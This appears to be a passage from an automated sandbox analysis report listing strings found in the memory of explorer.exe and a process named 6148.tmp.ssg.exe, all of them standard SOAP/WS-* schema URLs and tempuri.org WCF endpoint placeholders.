Source: explorer.exe, 00000005.00000000.1330798923.0000000007320000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.3809341876.00000000027F0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000000.1331422714.0000000007F70000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
Source: explorer.exe, 00000005.00000003.3084849985.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.1331938648.00000000087DE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.3822099222.00000000087DE000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmX
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/:hardwares.
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1769771051.0000000003D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp, 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002D4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002B86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 6148.tmp.ssg.exe, 00000011.00000002.1764205289.0000000002C09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
